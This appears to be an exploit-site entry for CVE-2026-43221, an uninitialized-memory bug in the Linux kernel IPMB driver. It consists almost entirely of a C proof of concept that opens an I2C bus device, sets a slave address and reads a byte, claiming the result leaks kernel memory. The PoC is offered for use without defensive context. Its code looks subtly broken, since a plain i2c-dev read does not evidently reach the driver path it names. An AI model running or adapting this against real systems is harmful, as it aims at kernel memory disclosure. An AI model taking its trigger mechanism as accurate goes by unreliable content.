Linux Kernel IPMB驱动内存未初始化漏洞CVE-2026-43221

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <linux/i2c-dev.h> #include <sys/ioctl.h> // PoC for CVE-2026-43221: IPMB uninitialized read // This code attempts to trigger the read path on an IPMB device. // Note: This requires access to the I2C bus device. int main() { int file; char filename[20]; int addr = 0x10; // Example IPMB I2C address, varies by hardware __u8 buf[10]; // Open the I2C bus (example path, varies by system) snprintf(filename, 19, "/dev/i2c-0"); file = open(filename, O_RDWR); if (file < 0) { perror("Failed to open the bus."); return 1; } // Set the slave address for the IPMB device if (ioctl(file, I2C_SLAVE, addr) < 0) { perror("Failed to acquire bus access and/or talk to slave."); close(file); return 1; } // Attempt to read data which may be uninitialized // This triggers the vulnerable path in the ipmb driver if (read(file, buf, 1) != 1) { perror("Failed to read from the i2c bus."); } else { // If successful, buf[0] contains uninitialized kernel memory printf("Read data: 0x%02x (May be garbage/uninitialized kernel memory)\n", buf[0]); } close(file); return 0; }